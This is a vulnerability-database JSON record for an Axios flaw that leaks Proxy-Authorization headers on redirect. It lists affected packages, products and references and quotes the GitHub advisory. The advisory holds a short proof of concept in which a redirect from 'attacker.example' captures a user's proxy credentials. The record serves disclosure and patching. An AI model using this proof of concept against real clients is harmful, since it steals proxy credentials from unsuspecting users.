Hat:ansible_automation_platform:2.5::el9","package":"python3.12-urllib3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.7.0-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.19.0+dfsg-2","0.19.0+dfsg-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.21.1+dfsg-1","0.23.0+dfsg-2","0.24.0+dfsg-1","0.25.0+dfsg-2","0.26.0+dfsg-1","0.26.0+dfsg-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.2.1+dfsg-1","1.5.1+dfsg-1","1.6.2+dfsg-1","1.6.8+dfsg-2","1.6.8+dfsg-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.7.9+dfsg-1","1.8.4+dfsg-1","1.11.0+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.13.2+dfsg-1build1","1.16.0-1","1.18.0-1","1.19.0-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.11.0+dfsg-1","1.12.1+dfsg-1","1.13.2+dfsg-1build1","1.13.2+dfsg-1ubuntu0.1~esm1"]}],"products":[{"vendor":"axios","product":"axios"},{"vendor":"red hat","product":"cryostat 4"},{"vendor":"red hat","product":"gatekeeper 3"},{"vendor":"red hat","product":"migration toolkit for applications 8"},{"vendor":"red hat","product":"multicluster engine for kubernetes 2.1"},{"vendor":"red hat","product":"multicluster engine for kubernetes 2.6"},{"vendor":"red hat","product":"multicluster engine for kubernetes 2.8"},{"vendor":"red hat","product":"multicluster engine for kubernetes 2.9"},{"vendor":"red hat","product":"network observability operator"},{"vendor":"red hat","product":"openshift pipelines"},{"vendor":"red hat","product":"openshift service mesh 3"},{"vendor":"red hat","product":"red hat 3scale api management platform 2"},{"vendor":"red hat","product":"red hat advanced cluster management for kubernetes 2.11"},{"vendor":"red hat","product":"red hat advanced cluster management for kubernetes 2.13"},{"vendor":"red hat","product":"red hat advanced cluster management for kubernetes 2.14"},{"vendor":"red hat","product":"red hat advanced cluster management for kubernetes 2.15"},{"vendor":"red hat","product":"red hat advanced cluster management for kubernetes 2.16"},{"vendor":"red hat","product":"red hat advanced cluster security 4.9"},{"vendor":"red hat","product":"red hat advanced cluster security for kubernetes 4.10"},{"vendor":"red hat","product":"red hat amq broker 7.13.6"},{"vendor":"red hat","product":"red hat amq broker 7.14.1"},{"vendor":"red hat","product":"red hat ansible automation platform 2"},{"vendor":"red hat","product":"red hat ansible automation platform 2.5 for rhel 8"},{"vendor":"red hat","product":"red hat ansible automation platform 2.5 for rhel 9"},{"vendor":"red hat","product":"red hat ansible automation platform 2.7"},{"vendor":"red hat","product":"red hat build of apache camel - hawtio 4"},{"vendor":"red hat","product":"red hat build of apache camel for spring boot 4"},{"vendor":"red hat","product":"red hat build of apicurio registry 3"},{"vendor":"red hat","product":"red hat build of podman desktop - tech preview"},{"vendor":"red hat","product":"red hat data grid 8.6.2"},{"vendor":"red hat","product":"red hat developer hub 1.10"},{"vendor":"red hat","product":"red hat developer hub 1.9"},{"vendor":"red hat","product":"red hat discovery 2"},{"vendor":"red hat","product":"red hat enterprise linux 8"},{"vendor":"red hat","product":"red hat enterprise linux 9"},{"vendor":"red hat","product":"red hat enterprise linux ai (rhel ai) 3"},{"vendor":"red hat","product":"red hat fuse 7"},{"vendor":"red hat","product":"red hat migration toolkit 1.8"},{"vendor":"red hat","product":"red hat migration toolkit for applications 8.1"},{"vendor":"red hat","product":"red hat openshift ai (rhoai)"},{"vendor":"red hat","product":"red hat openshift ai 3.4"},{"vendor":"red hat","product":"red hat openshift container platform 4"},{"vendor":"red hat","product":"red hat openshift container platform 4.12"},{"vendor":"red hat","product":"red hat openshift container platform 4.13"},{"vendor":"red hat","product":"red hat openshift container platform 4.14"},{"vendor":"red hat","product":"red hat openshift container platform 4.15"},{"vendor":"red hat","product":"red hat openshift container platform 4.16"},{"vendor":"red hat","product":"red hat openshift container platform 4.19"},{"vendor":"red hat","product":"red hat openshift container platform 4.20"},{"vendor":"red hat","product":"red hat openshift container platform 4.21"},{"vendor":"red hat","product":"red hat openshift dev spaces 3.29"},{"vendor":"red hat","product":"red hat openshift service mesh 2.6"},{"vendor":"red hat","product":"red hat openshift service mesh 3.0"},{"vendor":"red hat","product":"red hat openshift service mesh 3.1"},{"vendor":"red hat","product":"red hat openshift service mesh 3.2"},{"vendor":"red hat","product":"red hat openshift service mesh 3.3"},{"vendor":"red hat","product":"red hat openshift virtualization 4"},{"vendor":"red hat","product":"red hat quay 3.10"},{"vendor":"red hat","product":"red hat quay 3.12"},{"vendor":"red hat","product":"red hat quay 3.15"},{"vendor":"red hat","product":"red hat quay 3.16"},{"vendor":"red hat","product":"red hat quay 3.9"},{"vendor":"red hat","product":"red hat satellite 6"},{"vendor":"red hat","product":"red hat trusted artifact signer 1.3"},{"vendor":"red hat","product":"red hat trusted profile analyzer"},{"vendor":"red hat","product":"self-service automation portal 2"}],"references":[{"url":"https://github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fc","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web","article","report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44486","tags":["vdb-entry","x_refsource_REDHAT","advisory","report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2487947","tags":["issue-tracking","x_refsource_REDHAT","report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44486.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:42078","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:66545","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:66488","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:41064","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:30651","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:36882","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:46903","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:57191","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:20938","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:20889","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:42142","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:41951","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:36754","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:33574","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:29197","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:41928","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:50300","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:60520","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:54206","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:54188","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:50681","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:36611","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:28964","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:29082","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:34766","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:27063","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:27044","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:36820","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:33155","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:33160","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:33163","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:33173","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:33183","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:41031","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:42146","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:43052","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:42796","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:41066","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:40262","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:42085","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:46885","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:41055","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:30650","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:36883","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://github.com/axios/axios/pull/10794","tags":["web"]},{"url":"https://github.com/axios/axios/commit/afca61a070728e717203c2bc21e7b589b59b858b","tags":["web"]},{"url":"https://github.com/axios/axios/releases/tag/v0.32.0","tags":["web"]},{"url":"https://github.com/axios/axios/releases/tag/v1.16.0","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44486","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-j5f8-grm9-p9fc"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44486.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-44486","tags":["advisory"]},{"url":"https://github.com/axios/axios","tags":["package"]},{"url":"https://access.redhat.com/security/updates/classification/#important","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5/html/release_notes/patch_releases","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5#Upgrading","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2453496","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2456333","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2460927","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2461624","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2466582","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2466684","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2467822","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477154","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2480756","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2480757","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2480761","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2485379","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2487937","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2487938","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2487942","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2487943","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2487948","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2487949","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2489126","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2490703","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_42078.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-4800","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-4800","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-4800","tags":["advisory"]},{"url":"https://cna.openjsf.org/security-advisories.html","tags":["article"]},{"url":"https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-6321","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-6321","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-6321","tags":["advisory"]},{"url":"https://github.com/fastify/fast-uri/security/advisories/GHSA-q3j6-qgpj-74h6","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-6322","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-6322","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-6322","tags":["advisory"]},{"url":"https://github.com/fastify/fast-uri/security/advisories/GHSA-v39h-62p7-jpjc","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-8643","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-8643","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8643","tags":["advisory"]},{"url":"https://github.com/pypa/pip/commit/8eb178480bd1a2b223f509fc430796b265158dfb","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-11332","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-11332","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-11332","tags":["advisory"]},{"url":"https://github.com/ansible/ansible","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-12382","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-12382","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12382","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-12701","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-12701","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12701","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-25681","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-25681","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25681","tags":["advisory"]},{"url":"https://go.dev/cl/781703","tags":["article"]},{"url":"https://go.dev/issue/79574","tags":["article"]},{"url":"https://groups.google.com/g/golang-announce/c/iI-mYSI0lu8","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-5029","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-27136","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-27136","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27136","tags":["advisory"]},{"url":"https://go.dev/cl/781685","tags":["article"]},{"url":"https://go.dev/issue/79575","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-5030","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-32281","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-32281","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32281","tags":["advisory"]},{"url":"https://go.dev/cl/758061","tags":["article"]},{"url":"https://go.dev/issue/78281","tags":["article"]},{"url":"https://groups.google.com/g/golang-announce/c/0uYbvbPZRWU","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-4946","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-33811","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-33811","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33811","tags":["advisory"]},{"url":"https://go.dev/cl/767860","tags":["article"]},{"url":"https://go.dev/issue/78803","tags":["article"]},{"url":"https://groups.google.com/g/golang-announce/c/qcCIEXso47M","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-4981","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-39821","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-39821","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39821","tags":["advisory"]},{"url":"https://go.dev/cl/767220","tags":["article"]},{"url":"https://go.dev/issue/78760","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-5026","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42044","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42044","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42044","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42215","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2467802","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42215","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42215","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47","tags":["article"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42284","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2467800","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42284","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42284","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42784","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2464122","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42784","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42784","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44244","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2467804","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44244","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44244","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49","tags":["article"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44432","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44432","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44432","tags":["advisory"]},{"url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-mf9v-mfxr-j63j","tags":["article"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44486","tags":["advisory","report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44487","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44487","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44487","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-p92q-9vqr-4j8v","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44488","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44488","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44488","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-777c-7fjr-54vf","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44492","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44492","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44492","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-pjwm-pj3p-43mv","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44494","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44494","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44494","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44495","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44495","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44495","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44496","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44496","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44496","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-hfxv-24rg-xrqf","tags":["article"]},{"url":"https://ubuntu.com/security/CVE-2026-44486","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-44486","title":"Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection","description":"Axios is a promise based HTTP client for the browser and Node.js. Prior to 0.32.0 and 1.16.0, Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a Proxy-Authorization header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale Proxy-Authorization header can remain on the redirected request and be sent to the redirect target. This affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected. This vulnerability is fixed in 0.32.0 and 1.16.0.","status":"published","published":"2026-06-11T15:39:07.714Z","modified":"2026-09-11T12:09:11.032Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"cna"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"adp"}],"cwes":["CWE-200","CWE-201"],"updated_at":"2026-11-02T13:42:49.132798Z"}],"euvd":[{"id":"EUVD-2026-36263","description":"Axios is a promise based HTTP client for the browser and Node.js. Prior to 0.32.0 and 1.16.0, Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a Proxy-Authorization header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale Proxy-Authorization header can remain on the redirected request and be sent to the redirect target. This affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected. This vulnerability is fixed in 0.32.0 and 1.16.0.","status":"published","published":"2026-06-11T15:39:07Z","modified":"2026-09-11T12:09:11Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T17:28:22.994693Z"}],"ghsa":[{"id":"GHSA-j5f8-grm9-p9fc","title":"Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection","description":"### Summary\n\nAxios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a `Proxy-Authorization` header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale `Proxy-Authorization` header can remain on the redirected request and be sent to the redirect target.\n\nThis affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected.\n\n### Impact\n\nAn attacker who controls a server that the victim application requests can redirect the request so that the attacker-controlled redirect target receives the victim’s proxy credentials.\n\nThe most relevant case is a Node.js application using an authenticated `HTTP_PROXY` for an initial `http://` request, with redirects enabled, where the redirect target resolves to no proxy, such as an `https://` URL when `HTTPS_PROXY` is unset.\n\nThis does not affect browser, XHR, or fetch adapter behaviour. It also does not affect requests with `maxRedirects: 0`.\n\n### Affected Functionality\n\nAffected functionality is limited to the Node.js HTTP adapter in `lib/adapters/http.js`.\n\nRelevant inputs and settings include:\n\n- `HTTP_PROXY`, `HTTPS_PROXY`, and `NO_PROXY`.\n- Authenticated proxy URLs such as `http://user:pass@proxy.example:8080`.\n- Automatic redirect following through `follow-redirects`.\n- Axios proxy handling in `setProxy()`.\n- Redirect proxy handling through `beforeRedirects.proxy`.\n\n### Technical Details\n\nIn affected v1 releases, `setProxy()` adds `Proxy-Authorization` when a proxy with credentials is selected, but redirect handling calls `setProxy()` again without first clearing any existing proxy authorization header.\n\nIf the redirected URL resolves to no proxy, `setProxy()` does not add a new proxy configuration and also does not remove the old header. The redirected request can therefore carry the stale `Proxy-Authorization` header to the final origin.\n\nThe v1 fix in `afca61a` adds an `isRedirect` path that deletes any case variant of `Proxy-Authorization` before proxy settings are re-applied on redirect. The v0 backport in `2af6116` fixed the 0.x line for `0.32.0`.\n\n### Proof of Concept of Attack\n\n```js\nprocess.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';\ndelete process.env.HTTPS_PROXY;\n\nawait axios.get('http://attacker.example/start');\n```\n\nAttacker-controlled HTTP endpoint:\n\n```http\nHTTP/1.1 302 Found\nLocation: https://attacker.example/final\n```\n\nExpected result on affected versions:\n\n```text\nhttps://attacker.example/final receives:\nProxy-Authorization: Basic dXNlcjpwYXNz\n```\n\nExpected result on fixed versions:\n\n```text\nhttps://attacker.example/final receives no Proxy-Authorization header\n```\n\n### Workarounds\n\nSet `maxRedirects: 0` and handle redirects manually.\n\nAvoid using authenticated proxy environment variables for requests to untrusted HTTP origins unless redirect behaviour is controlled.\n\nEnsure proxy environment variables are configured consistently across protocols so redirects do not unexpectedly change from proxied to direct connections.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Source\u003c/summary\u003e\n\n### Summary\nAxios' Node.js HTTP adapter can leak proxy credentials to a redirect target origin. When an initial request is sent through an authenticated HTTP proxy, Axios adds a `Proxy-Authorization` header. On redirect, Axios re-evaluates proxy settings, but if the redirected request no longer uses a proxy, the stale `Proxy-Authorization` header is not cleared. As a result, the redirect target can receive the proxy credential directly.\n\nThis issue affects the Node.js HTTP adapter and can be reproduced when the initial request uses `HTTP_PROXY` with authentication, redirects are enabled, and the redirected request is resolved to no proxy, such as when `HTTPS_PROXY` is unset or the redirect target is excluded by `NO_PROXY`.\n\n### Details\nIn the current implementation:\n\n- `setProxy()` adds `Proxy-Authorization` when a proxy with credentials is in use.\n- On redirects, Axios re-invokes `setProxy()` for the redirected request.\n- If the redirected URL re-evaluates to \"no proxy\", `setProxy()` does not clear the previously added `Proxy-Authorization` header.\n- The redirected request therefore reuses the stale header and sends it to the final origin.\n\nRelevant code locations:\n\n- `lib/adapters/http.js`\n- `setProxy()` adds `Proxy-Authorization`\n- redirect handling re-applies proxy logic through `beforeRedirects.proxy`\n- no cleanup is performed when the recomputed redirect request no longer uses a proxy\n\n### PoC\n1. The victim sends `GET http://\u003cattacker-site\u003e/start`\n2. The request goes through a local authenticated `corp proxy`\n3. The attacker-controlled HTTP endpoint returns `302 Location: https://\u003cattacker-site\u003e/final`\n4. The redirected HTTPS request no longer uses a proxy\n5. The attacker-controlled 